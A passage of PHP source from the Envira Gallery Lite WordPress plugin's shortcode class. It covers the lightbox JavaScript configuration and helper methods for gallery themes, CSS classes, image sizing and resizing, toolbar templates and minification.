envirabox-arrows-<?php echo esc_attr( $this->get_config( 'arrows_position', $data ) ); ?>" href="#"><span></span></a>', prev : '<a title="<?php echo esc_attr__( 'Previous', 'envira-gallery-lite' ); ?>" class="envirabox-nav envirabox-prev envirabox-arrows-<?php echo esc_attr( $this->get_config( 'arrows_position', $data ) ); ?>" href="#"><span></span></a>' <?php do_action( 'envira_gallery_api_templates', $data ); ?> }, helpers: { <?php do_action( 'envira_gallery_api_helper_config', $data ); // Grab title display. $title_display = $this->get_config( 'title_display', $data ); if ( 'float_wrap' === $title_display ) { $title_display = 'float'; } ?> title: { <?php do_action( 'envira_gallery_api_title_config', $data ); ?> type: '<?php echo esc_attr( $title_display ); ?>' }, <?php if ( $this->get_config( 'thumbnails', $data ) ) : ?> thumbs: { width: <?php echo esc_attr( $this->get_config( 'thumbnails_width', $data ) ); ?>, height: <?php echo esc_attr( $this->get_config( 'thumbnails_height', $data ) ); ?>, source: function(current) { if ( typeof current.element == 'undefined' ) { return current.thumbnail; } else { return $(current.element).data('thumbnail'); } }, <?php if ( in_array( $this->get_config( 'lightbox_theme', $data ), [ 'base_dark' ], true ) ) : ?> dynamicMargin: true, <?php endif; ?> position: ' <?php echo in_array( $this->get_config( 'lightbox_theme', $data ), [ 'base_dark' ], true ) ? 'bottom' : esc_attr( $this->get_config( 'thumbnails_position', $data ) ); ?> ' }, <?php endif; ?> <?php if ( $this->get_config( 'toolbar', $data ) && ! in_array( $this->get_config( 'lightbox_theme', $data ), [ 'base_dark' ], true ) ) : ?> buttons: { tpl: '<?php echo $this->get_toolbar_template( $data ); // @codingStandardsIgnoreLine ?>', position: '<?php echo esc_attr( $this->get_config( 'toolbar_position', $data ) ); ?>', padding: '<?php echo ( ( 'bottom' === $this->get_config( 'toolbar_position', $data ) && $this->get_config( 'thumbnails', $data ) && $this->get_config( 'thumbnails_position', $data ) === 'bottom' ) ? true : false ); ?>' }, <?php endif; ?> }, <?php do_action( 'envira_gallery_api_config_callback', $data ); ?> beforeLoad: function(){ <?php if ( ! $lightbox_images ) { ?> this.title = $(this.element).attr('data-envira-caption'); <?php } else { ?> this.title = this.group[ this.index ].caption; <?php } ?> <?php do_action( 'envira_gallery_api_before_load', $data ); ?> }, afterLoad: function(){ $('envirabox-overlay-fixed').on({ 'touchmove' : function(e){ e.preventDefault(); } }); <?php do_action( 'envira_gallery_api_after_load', $data ); ?> }, beforeShow: function(){ $(window).on({ 'resize.envirabox' : function(){ $.envirabox.update(); } }); <?php // Set data attributes on the lightbox image, based on either. // the image in the DOM or (if $lightbox_images defined) the image. // from $lightbox_images. ?> if ( typeof this.element === 'undefined' ) { <?php // Using $lightbox_images. ?> var gallery_id = this.group[ this.index ].gallery_id; var gallery_item_id = this.group[ this.index ].id; var alt = this.group[ this.index ].alt; var title = this.group[ this.index ].title; var caption = this.group[ this.index ].caption; var index = this.index; } else { <?php // Using image from DOM. // Get a bunch of data attributes from clicked image link. ?> var gallery_id = this.element.find('img').data('envira-gallery-id'); var gallery_item_id = this.element.find('img').data('envira-item-id'); var alt = this.element.find('img').attr('alt'); var title = this.element.find('img').parent().attr('title'); var caption = this.element.find('img').parent().data('envira-caption'); var retina_image = this.element.find('img').parent().data('envira-retina'); var index = this.element.find('img').data('envira-index'); } <?php // Set alt, data-envira-title, data-envira-caption and data-envira-index attributes on Lightbox image. ?> this.inner.find('img').attr('alt', alt) .attr('data-envira-gallery-id', gallery_id) .attr('data-envira-item-id', gallery_item_id) .attr('data-envira-title', title) .attr('data-envira-caption', caption) .attr('data-envira-index', index); <?php // Set retina image srcset if specified. ?> if ( typeof retina_image !== 'undefined' && retina_image !== '' ) { this.inner.find('img').attr('srcset', retina_image + ' 2x'); } <?php do_action( 'envira_gallery_api_before_show', $data ); ?> }, onStart: function(){ $('#envirabox-wrap, #envirabox-wrap #envirabox-left, #envirabox-wrap #envirabox-right').swipe( { excludedElements:"label, button, input, select, textarea, .noSwipe", swipe: function(event, direction, distance, duration, fingerCount, fingerData) { if (direction === 'left') { $.envirabox.next(direction); } else if (direction === 'right') { $.envirabox.prev(direction); } else if (direction === 'up') { $.envirabox.close(); } } } ); <?php // If title helper = float_wrap, add a CSS class so we can disable word-wrap. if ( $this->get_config( 'title_display', $data ) === 'float_wrap' ) { ?> if ( typeof this.helpers.title !== 'undefined' ) { if ( ! $( 'div.envirabox-title' ).hasClass( 'envirabox-title-text-wrap' ) ) { $( 'div.envirabox-title' ).addClass( 'envirabox-title-text-wrap' ); } } <?php } do_action( 'envira_gallery_api_after_show', $data ); ?> }, beforeClose: function(){ <?php do_action( 'envira_gallery_api_before_close', $data ); ?> }, afterClose: function(){ $(window).off('resize.envirabox'); <?php do_action( 'envira_gallery_api_after_close', $data ); ?> }, onUpdate: function(){ <?php if ( $this->get_config( 'toolbar', $data ) ) : ?> var envira_buttons_<?php echo intval( $data['id'] ); ?> = $('#envirabox-buttons li').map(function(){ return $(this).width(); }).get(), envira_buttons_total_<?php echo intval( $data['id'] ); ?> = 0; $.each(envira_buttons_<?php echo intval( $data['id'] ); ?>, function(i, val){ envira_buttons_total_<?php echo intval( $data['id'] ); ?> += parseInt(val, 10); }); envira_buttons_total_<?php echo intval( $data['id'] ); ?> += 1; $('#envirabox-buttons ul').width(envira_buttons_total_<?php echo intval( $data['id'] ); ?>); $('#envirabox-buttons').width(envira_buttons_total_<?php echo intval( $data['id'] ); ?>).css('left', ($(window).width() - envira_buttons_total_<?php echo intval( $data['id'] ); ?>)/2); <?php endif; ?> <?php do_action( 'envira_gallery_api_on_update', $data ); ?> }, onCancel: function(){ <?php do_action( 'envira_gallery_api_on_cancel', $data ); ?> }, onPlayStart: function(){ <?php do_action( 'envira_gallery_api_on_play_start', $data ); ?> }, onPlayEnd: function(){ <?php do_action( 'envira_gallery_api_on_play_end', $data ); ?> } }; <?php if ( ! $lightbox_images ) { // No lightbox images specified, so use images from DOM. ?> envira_galleries['<?php echo intval( $data['id'] ); ?>'] = $('.envira-gallery-<?php echo intval( $data['id'] ); ?>').envirabox( envira_gallery_options ); <?php } else { // Use images from $lightbox_images. add_filter( 'envira_minify_strip_double_forward_slashes', '__return_false' ); ?> envira_gallery_images[<?php echo intval( $data['id'] ); ?>] = []; <?php // Build a JS array of all images. $count = 0; foreach ( $lightbox_images as $image_id => $image ) { // If no image ID exists, skip. if ( empty( $image_id ) ) { continue; } $title = wp_strip_all_tags( htmlspecialchars( $image['title'], ENT_QUOTES, 'UTF-8' ) ); $title = htmlentities( $title, ENT_QUOTES, 'UTF-8' ); ?> envira_gallery_images[<?php echo intval( $data['id'] ); ?>].push({ href: '<?php echo esc_url( $image['src'] ); ?>', gallery_id: <?php echo intval( $data['id'] ); ?>, id: <?php echo intval( $image_id ); ?>, alt: '<?php echo esc_attr( addslashes( str_replace( "\n", '<br />', $image['alt'] ) ) ); ?>', caption: '<?php echo esc_html( $title ); ?>', title: '<?php echo esc_html( $title ); ?>', index: <?php echo intval( $count ); ?>, thumbnail: '<?php echo ( isset( $image['thumb'] ) ? esc_js( $image['thumb'] ) : '' ); ?>' <?php do_action( 'envira_gallery_api_lightbox_image_attributes', $image, $image_id, $lightbox_images, $data ); ?> }); <?php ++$count; } // Open envirabox when an image is clicked, telling envirabox which images are available to it. ?> envira_galleries['<?php echo intval( $data['id'] ); ?>'] = $('.envira-gallery-<?php echo intval( $data['id'] ); ?>').envirabox( envira_gallery_options, envira_gallery_images[<?php echo intval( $data['id'] ); ?>] ); $('#envira-gallery-wrap-<?php echo intval( $data['id'] ); ?>').on('click', 'a.envira-gallery-link', function(e) { e.preventDefault(); e.stopPropagation(); $.envirabox.close(); if ( $('#envira-gallery-wrap-<?php echo intval( $data['id'] ); ?> div.envira-pagination').length > 0 ) { /* this exists, perhaps pagination doesn't display nav because it's only one page? */ var envirabox_page = ( $('#envira-gallery-wrap-<?php echo intval( $data['id'] ); ?> div.envira-pagination').data('page') - 1 ); } else { var envirabox_page = 0; } if ( $('#envira-gallery-wrap-<?php echo intval( $data['id'] ); ?> div.envira-pagination').length > 0 ) { /* this exists, perhaps pagination doesn't display nav because it's only one page? */ var envirabox_per_page = $('#envira-gallery-wrap-<?php echo intval( $data['id'] ); ?> div.envira-pagination').data('per-page'); } else { var envirabox_per_page = $('.envira-gallery-image').length; } var envirabox_index = ( Number($('img', $(this)).data('envira-index')) - 1 ); envira_gallery_options.index = ((envirabox_page * envirabox_per_page) + envirabox_index); envira_galleries['<?php echo intval( $data['id'] ); ?>'] = $.envirabox( envira_gallery_images[<?php echo intval( $data['id'] ); ?>], envira_gallery_options ); }); <?php } do_action( 'envira_gallery_api_lightbox', $data ); // Fancybox: End. } do_action( 'envira_gallery_api_end', $data ); } // foreach do_action( 'envira_gallery_api_end_global', $this->data ); ?> }); <?php if ( defined( 'SCRIPT_DEBUG' ) && ! SCRIPT_DEBUG ) { // Minify before outputting to improve page load time. echo $this->minify( ob_get_clean() ); // @codingStandardsIgnoreLine } else { echo ob_get_clean(); // @codingStandardsIgnoreLine } ?> </script> <?php } /** * Loads a custom gallery display theme. * * @since 1.0.0 * * @param string $theme The custom theme slug to load. */ public function load_gallery_theme( $theme ) { // Loop through the available themes and enqueue the one called. foreach ( $this->common->get_gallery_themes() as $array => $data ) { if ( $theme !== $data['value'] ) { continue; } if ( file_exists( plugin_dir_path( $data['file'] ) . 'themes/' . $theme . '/style.css' ) ) { wp_enqueue_style( $this->base->plugin_slug . $theme . '-theme', plugins_url( 'themes/' . $theme . '/style.css', $data['file'] ), [ $this->base->plugin_slug . '-style' ], $this->base->version ); } else { wp_enqueue_style( $this->base->plugin_slug . $theme . '-theme', plugins_url( 'themes/' . $theme . '/css/style.css', $data['file'] ), [ $this->base->plugin_slug . '-style' ], $this->base->version ); } break; } } /** * Loads a custom gallery lightbox theme. * * @since 1.0.0 * * @param string $theme The custom theme slug to load. */ public function load_lightbox_theme( $theme ) { // Loop through the available themes and enqueue the one called. foreach ( $this->common->get_lightbox_themes() as $array => $data ) { if ( $theme !== $data['value'] ) { continue; } if ( file_exists( plugin_dir_path( $data['file'] ) . 'themes/' . $theme . '/style.css' ) ) { wp_enqueue_style( $this->base->plugin_slug . $theme . '-theme', plugins_url( 'themes/' . $theme . '/style.css', $data['file'] ), [ $this->base->plugin_slug . '-style' ], $this->base->version ); } else { wp_enqueue_style( $this->base->plugin_slug . $theme . '-theme', plugins_url( 'themes/' . $theme . '/css/style.css', $data['file'] ), [ $this->base->plugin_slug . '-style' ], $this->base->version ); } break; } } /** * Helper method for adding custom gallery classes. * * @since 1.0.0 * * @param array $data The gallery data to use for retrieval. * @return string String of space separated gallery classes. */ public function get_gallery_classes( $data ) { // Set default class. $classes = []; $classes[] = 'envira-gallery-wrap'; // Add custom class based on data provided. $classes[] = 'envira-gallery-theme-' . $this->get_config( 'gallery_theme', $data ); $classes[] = 'envira-lightbox-theme-' . $this->get_config( 'lightbox_theme', $data ); // If we have custom classes defined for this gallery, output them now. foreach ( (array) $this->get_config( 'classes', $data ) as $class ) { $classes[] = $class; } // If the gallery has RTL support, add a class for it. if ( $this->get_config( 'rtl', $data ) ) { $classes[] = 'envira-gallery-rtl'; } // Allow filtering of classes and then return what's left. $classes = apply_filters( 'envira_gallery_output_classes', $classes, $data ); return trim( implode( ' ', array_map( 'trim', array_map( 'sanitize_html_class', array_unique( $classes ) ) ) ) ); } /** * Helper method for adding custom gallery classes. * * @since 1.0.4 * * @param array $item Array of item data. * @param int $i The current position in the gallery. * @param array $data The gallery data to use for retrieval. * @return string String of space separated gallery item classes. */ public function get_gallery_item_classes( $item, $i, $data ) { // Set default class. $classes = []; $classes[] = 'envira-gallery-item'; $classes[] = 'enviratope-item'; $classes[] = 'envira-gallery-item-' . $i; // If lazy load exists, add that. if ( isset( $data['config']['lazy_loading'] ) && $data['config']['lazy_loading'] ) { $classes[] = 'envira-lazy-load'; } // Allow filtering of classes and then return what's left. $classes = apply_filters( 'envira_gallery_output_item_classes', $classes, $item, $i, $data ); return trim( implode( ' ', array_map( 'trim', array_map( 'sanitize_html_class', array_unique( $classes ) ) ) ) ); } /** * Changes the link attribute of an image, if the Lightbox config * requires a different sized image to be displayed. * * @since 1.3.6 * * @param int $id The image attachment ID to use. * @param array $item Gallery item data. * @param array $data The gallery data to use for retrieval. * @return array Image array */ public function maybe_change_link( $id, $item, $data ) { // Check gallery config. $image_size = $this->get_config( 'lightbox_image_size', $data ); // check if the url is a valid image if not return it. if ( ! $this->is_image( $item['link'] ) ) { return $item; } // Return if we are serving a full size image. if ( 'default' === $image_size || 'full_width' === $image_size ) { return $item; } // Get media library attachment at requested size. $image = wp_get_attachment_image_src( $id, $image_size ); if ( ! is_array( $image ) ) { return $item; } // Inject new image size into $item. $item['link'] = $image[0]; // Return. return $item; } /** * Helper method to retrieve the proper image src attribute based on gallery settings. * * @since 1.0.0 * * @param int $id The image attachment ID to use. * @param array $item Gallery item data. * @param array $data The gallery data to use for retrieval. * @param bool $mobile Whether or not to retrieve the mobile image. * @param bool $retina Whether to return a retina sized image. * @return string The proper image src attribute for the image. */ public function get_image_src( $id, $item, $data, $mobile = false, $retina = false ) { // Define variable. $src = false; // If this image is an instagram, we grab the src and don't use the $id. // otherwise using the $id refers to a postID in the database and has been known. // at times to pull up the wrong thumbnail instead of the instagram one. $instagram = false; if ( ! empty( $item['src'] ) && strpos( $item['src'], 'cdninstagram' ) !== false ) : // using 'cdninstagram' because it seems all urls contain it - but be watchful in the future. $instagram = true; $src = $item['src']; $image = $item['src']; endif; $image_size = $this->get_config( 'image_size', $data ); if ( ! $src ) : // Check if this Gallery uses a WordPress defined image size. if ( 'default' !== $image_size && ! $retina ) { // If image size is envira_gallery_random, get a random image size. if ( 'envira_gallery_random' === $image_size ) { // Get random image sizes that have been chosen for this Gallery. $image_sizes_random = (array) $this->get_config( 'image_sizes_random', $data ); if ( count( $image_sizes_random ) === 0 ) { // The user didn't choose any image sizes - use them all. $wordpress_image_sizes = $this->common->get_image_sizes( true ); $wordpress_image_size_random_key = array_rand( $wordpress_image_sizes, 1 ); $image_size = $wordpress_image_sizes[ $wordpress_image_size_random_key ]['value']; } else { $wordpress_image_size_random_key = array_rand( $image_sizes_random, 1 ); $image_size = $image_sizes_random[ $wordpress_image_size_random_key ]; } // Get the random WordPress defined image size. $src = wp_get_attachment_image_src( $id, $image_size ); } else { // Get the requested WordPress defined image size. $src = wp_get_attachment_image_src( $id, $image_size ); } } elseif ( ! $retina ) { $isize = $this->find_clostest_size( $data ) !== '' ? $this->find_clostest_size( $data ) : 'full'; $isize = ( 'full' === $image_size ) ? 'full' : $isize; $src = apply_filters( 'envira_gallery_retina_image_src', wp_get_attachment_image_src( $id, $isize ), $id, $item, $data, $this->is_mobile ); } else { $src = apply_filters( 'envira_gallery_retina_image_src', wp_get_attachment_image_src( $id, 'full' ), $id, $item, $data, $this->is_mobile ); } endif; // Check if this returned an image. if ( ! $src ) { // Fallback to the $item's image source. $image = $item['src']; } elseif ( ! $instagram ) { $image = $src[0]; } // If we still don't have an image at this point, something went wrong. if ( ! isset( $image ) ) { return apply_filters( 'envira_gallery_no_image_src', $item['link'], $id, $item, $data ); } // Prep our indexable images. if ( $image && ! $this->is_mobile ) { $this->index[ $data['id'] ][ $id ] = [ 'src' => $image, 'alt' => ! empty( $item['alt'] ) ? $item['alt'] : '', ]; } // If the current layout is justified/automatic. // if the image size is a WordPress size and we're not requesting a retina image we don't need to resize or crop anything. if ( 'default' !== $image_size && ! $retina ) { return apply_filters( 'envira_gallery_image_src', $image, $id, $item, $data ); } // If the image size is default (i.e. the user has input their own custom dimensions in the Gallery), // we may need to resize the image now // This is safe to call every time, as resize_image() will check if the image already exists, preventing thumbnails // from being generated every single time. $type = $this->is_mobile ? 'mobile' : 'crop'; // 'crop' is misleading here - it's the key that stores the thumbnail width + height $args = [ 'position' => 'c', 'width' => $this->get_config( $type . '_width', $data ), 'height' => $this->get_config( $type . '_height', $data ), 'quality' => 100, 'retina' => $retina, ]; // If we're requesting a retina image, and the gallery uses a registered WordPress image size, // we need use the width and height of that registered WordPress image size - not the gallery's // image width and height, which are hidden settings. if ( 'full' !== $image_size && ( 'default' !== $image_size && $retina ) ) { // Find WordPress registered image size. $wordpress_image_sizes = $this->common->get_image_sizes( true ); // true = WordPress only image sizes (excludes random). foreach ( $wordpress_image_sizes as $size ) { if ( $size['value'] !== $image_size ) { continue; } // Define the $args so at least they exist. $args['width'] = false; $args['height'] = false; // We found the image size. Use its dimensions. if ( ! empty( $size['width'] ) ) { $args['width'] = $size['width']; } if ( ! empty( $size['height'] ) ) { $args['height'] = $size['height']; } break; } } // Filter. $args = apply_filters( 'envira_gallery_crop_image_args', $args ); $resized_image = $this->common->resize_image( $image, $args['width'], $args['height'], $this->get_config( 'crop', $data ), $args['position'], $args['quality'], $args['retina'], $data ); // If there is an error, possibly output error message and return the default image src. if ( is_wp_error( $resized_image ) ) { // If WP_DEBUG is enabled, and we're logged in, output an error to the user. if ( defined( 'WP_DEBUG' ) && WP_DEBUG && is_user_logged_in() ) { echo '<pre>Envira: Error occured resizing image (these messages are only displayed to logged in WordPress users):<br />'; echo 'Error: ' . esc_html( $resized_image->get_error_message() ) . '<br />'; echo 'Image: ' . esc_html( $image ) . '<br />'; echo 'Args: ' . var_export( $args, true ) . '</pre>'; // @codingStandardsIgnoreLine } // Return the non-cropped image as a fallback. return apply_filters( 'envira_gallery_image_src', $image, $id, $item, $data ); } else { return apply_filters( 'envira_gallery_image_src', $resized_image, $id, $item, $data ); } } /** * Helper Method to find closest size * * @param array $data Gallery Data. * @return string */ public function find_clostest_size( $data ) { $image_sizes = $this->get_image_sizes(); $dimensions = $this->get_config( 'dimensions', $data ); $width = $this->get_config( 'crop_width', $data ); $height = $this->get_config( 'crop_height', $data ); $match = false; usort( $image_sizes, [ $this, 'usort_callback' ] ); foreach ( $image_sizes as $num ) { $num['width'] = (int) $num['width']; $num['height'] = (int) $num['height']; // skip over sizes that are smaller. if ( $num['height'] < $height || $num['width'] < $width ) { continue; } if ( $num['width'] > $width && $num['height'] > $height ) { if ( false === $match ) { $match = true; $size = $num['name']; return $size; } } } return ''; } /** * Helper function for usort and php 5.3 >. * * @access public * @param mixed $a First sort. * @param mixed $b Second sort. * @return int */ public function usort_callback( $a, $b ) { return intval( $a['width'] ) - intval( $b['width'] ); } /** * Helper Method to get image sizes. * * @access public * @return array */ public function get_image_sizes() { global $_wp_additional_image_sizes; $sizes = []; foreach ( get_intermediate_image_sizes() as $_size ) { if ( in_array( $_size, [ 'thumbnail', 'medium', 'medium_large', 'large' ], true ) ) { if ( (bool) get_option( "{$_size}_crop" ) === true ) { continue; } $sizes[ $_size ]['name'] = $_size; $sizes[ $_size ]['width'] = get_option( "{$_size}_size_w" ); $sizes[ $_size ]['height'] = get_option( "{$_size}_size_h" ); $sizes[ $_size ]['crop'] = (bool) get_option( "{$_size}_crop" ); } elseif ( isset( $_wp_additional_image_sizes[ $_size ] ) ) { if ( true === $_wp_additional_image_sizes[ $_size ]['crop'] ) { continue; } $sizes[ $_size ] = [ 'name' => $_size, 'width' => $_wp_additional_image_sizes[ $_size ]['width'], 'height' => $_wp_additional_image_sizes[ $_size ]['height'], 'crop' => $_wp_additional_image_sizes[ $_size ]['crop'], ]; } } return $sizes; } /** * Helper method to retrieve the proper gallery toolbar template. * * @since 1.0.0 * * @param array $data Array of gallery data. * @return string String template for the gallery toolbar. */ public function get_toolbar_template( $data ) { // Build out the custom template based on options chosen. $template = '<div id="envirabox-buttons">'; $template .= '<ul>'; $template = apply_filters( 'envira_gallery_toolbar_start', $template, $data ); // Prev. $template .= '<li><a class="btnPrev" title="' . __( 'Previous', 'envira-gallery-lite' ) . '" href="javascript:;"></a></li>'; $template = apply_filters( 'envira_gallery_toolbar_after_prev', $template, $data ); // Next. $template .= '<li><a class="btnNext" title="' . __( 'Next', 'envira-gallery-lite' ) . '" href="javascript:;"></a></li>'; $template = apply_filters( 'envira_gallery_toolbar_after_next', $template, $data ); // Title. if ( $this->get_config( 'toolbar_title', $data ) ) { $template .= '<li id="envirabox-buttons-title"><span>' . $this->get_config( 'title', $data ) . '</span></li>'; $template = apply_filters( 'envira_gallery_toolbar_after_title', $template, $data ); } // Close. $template .= '<li><a class="btnClose" title="' . __( 'Close', 'envira-gallery-lite' ) . '" href="javascript:;"></a></li>'; $template = apply_filters( 'envira_gallery_toolbar_after_close', $template, $data ); $template = apply_filters( 'envira_gallery_toolbar_end', $template, $data ); $template .= '</ul>'; $template .= '</div>'; // Return the template, filters applied and all. return apply_filters( 'envira_gallery_toolbar', $template, $data ); } /** * Helper method to retrieve the gallery lightbox template. * * @since 1.3.1.4 * * @param array $data Array of gallery data. * @return string String template for the gallery lightbox. */ public function get_lightbox_template( $data ) { // Build out the lightbox template. $envirabox_wrap_css_classes = apply_filters( 'envirabox_wrap_css_classes', 'envirabox-wrap', $data ); $envirabox_theme = apply_filters( 'envirabox_theme', 'envirabox-theme-' . $this->get_config( 'lightbox_theme', $data ), $data ); $template = '<div class="' . $envirabox_wrap_css_classes . '" tabIndex="-1"><div class="envirabox-skin ' . $envirabox_theme . '"><div class="envirabox-outer"><div class="envirabox-inner">'; // Top Left box. $template .= '<div class="envirabox-position-overlay envira-gallery-top-left">'; $template = apply_filters( 'envirabox_output_dynamic_position', $template, $data, 'top-left' ); $template .= '</div>'; // Top Right box. $template .= '<div class="envirabox-position-overlay envira-gallery-top-right">'; $template = apply_filters( 'envirabox_output_dynamic_position', $template, $data, 'top-right' ); $template .= '</div>'; // Bottom Left box. $template .= '<div class="envirabox-position-overlay envira-gallery-bottom-left">'; $template = apply_filters( 'envirabox_output_dynamic_position', $template, $data, 'bottom-left' ); $template .= '</div>'; // Bottom Right box. $template .= '<div class="envirabox-position-overlay envira-gallery-bottom-right">'; $template = apply_filters( 'envirabox_output_dynamic_position', $template, $data, 'bottom-right' ); $template .= '</div>'; $template .= '</div></div></div></div>'; // Return the template, filters applied. return apply_filters( 'envira_gallery_lightbox_template', str_replace( "\n", '', $template ), $data ); } /** * Helper method for retrieving config values. * * @since 1.0.0 * * @param string $key The config key to retrieve. * @param array $data The gallery data to use for retrieval. * @return string Key value on success, default if not set. */ public function get_config( $key, $data ) { return isset( $data['config'][ $key ] ) ? $data['config'][ $key ] : $this->common->get_config_default( $key ); } /** * Helper method to minify a string of data. * * @since 1.0.4 * * @param string $string_data String of data to minify. * @param boolean $strip_double_forward_slashes stirpe forward slashes. * * @return string $string Minified string of data. */ public function minify( $string_data, $strip_double_forward_slashes = true ) { // Added a switch for stripping double forwardslashes. // This can be disabled when using URLs in JS, to ensure http:// doesn't get removed. // All other comment removal and minification will take place. $strip_double_forward_slashes = apply_filters( 'envira_minify_strip_double_forward_slashes', $strip_double_forward_slashes ); if ( $strip_double_forward_slashes ) { $clean = preg_replace( '/((?:\/\*(?:[^*]|(?:\*+[^*\/]))*\*+\/)|(?:\/\/.*))/', '', $string_data ); } else { // Use less aggressive method. $clean = preg_replace( '!/\*.*?\*/!s', '', $string_data ); $clean = preg_replace( '/\n\s*\n/', "\n", $clean ); } $clean = str_replace( [ "\r\n", "\r", "\t", "\n", ' ', ' ', ' ' ], '', $clean ); return apply_filters( 'envira_gallery_minified_string', $clean, $string_data ); } /** * I'm sure some plugins mean well, but they go a bit too far trying to reduce * conflicts without thinking of the consequences. * * 1. Prevents Foobox from completely borking envirabox as if Foobox rules the world. * * @since 1.0.0 */ public function plugin_humility() { if ( class_exists( 'fooboxV2' ) ) { remove_action( 'wp_footer', [ $GLOBALS['foobox'], 'disable_other_lightboxes' ], 200 ); } if ( function_exists( 'is_plugin_active' ) && is_plugin_active( 'enable-media-replace/enable-media-replace.php' ) ) { add_action( 'enable-media-replace-upload-done', [ $this, 'emr_clear_envira_cache' ], 10, 3 ); } } /** * Specific function that clears gallery cache when a photo gets replaced by other third-party plugins. * * @since 1.8.4.0 * * @param string $target_url Target URL. * @param string $source_url Source URL. * @param int $post_id Post ID. */ public function emr_clear_envira_cache( $target_url = false, $source_url = false, $post_id = false ) { $has_gallery = get_post_meta( $post_id, '_eg_has_gallery', true ); if ( function_exists( 'flush_gallery_caches' ) && count( $has_gallery ) > 0 ) : foreach ( $has_gallery as $gallery_id ) { flush_gallery_caches( $gallery_id ); } endif; } /** * Outputs only the first image of the gallery inside a regular <div> tag * to avoid styling issues with feeds. * * @since 1.0.5 * * @param array $data Array of gallery data. * @return string $gallery Custom gallery output for feeds. */ public function do_feed_output( $data ) { $gallery = '<div class="envira-gallery-feed-output">'; foreach ( $data['gallery'] as $id => $item ) { // Skip over images that are pending (ignore if in Preview mode). if ( isset( $item['status'] ) && 'pending' === $item['status'] && ! is_preview() ) { continue; } $imagesrc = $this->get_image_src( $id, $item, $data ); $gallery .= '<img class="envira-gallery-feed-image" src="' . esc_url( $imagesrc ) . '" title="' . trim( esc_html( $item['title'] ) ) . '" alt="' . trim( esc_html( $item['alt'] ) ) . '" />'; break; } $gallery .= '</div>'; return apply_filters( 'envira_gallery_feed_output', $gallery, $data ); } /** * Returns a set of indexable image links to allow SEO indexing for preloaded images. * * @since 1.0.0 * * @param mixed $id The slider ID to target. * @return string $images String of indexable image HTML. */ public function get_indexable_images( $id ) { // If there are no images, don't do anything. $images = ''; $i = 1; if ( empty( $this->index[ $id ] ) ) { return $images; } foreach ( (array) $this->index[ $id ] as $attach_id => $data ) { $images .= '<img src="' . esc_url( $data['src'] ) . '" alt="' . esc_attr( $data['alt'] ) . '" />'; ++$i; } return apply_filters( 'envira_gallery_indexable_images', $images, $this->index, $id ); } /** * Helper Method to check if url is an image. * * @access public * @param mixed $url Url of unknown. * @return boolean */ public function is_image( $url ) { $p = strrpos( $url, '.' ); if ( false === $p ) { return false; } $extension = strtolower( trim( substr( $url, $p ) ) ); $img_extensions = [ '.gif', '.jpg', '.jpeg', '.png', '.tiff', '.tif', '.webp' ]; if ( in_array( $extension, $img_extensions, true ) ) { return true; } return false; } /** * Returns the singleton instance of the class. * * @since 1.0.0 * * @return object The Envira_Gallery_Shortcode object. */ public static function get_instance() { if ( ! isset( self::$instance ) && ! ( self::$instance instanceof Envira_Gallery_Shortcode ) ) { self::$instance = new Envira_Gallery_Shortcode(); } return self::$instance; } } // Load the shortcode class. $envira_gallery_shortcode = Envira_Gallery_Shortcode::get_instance();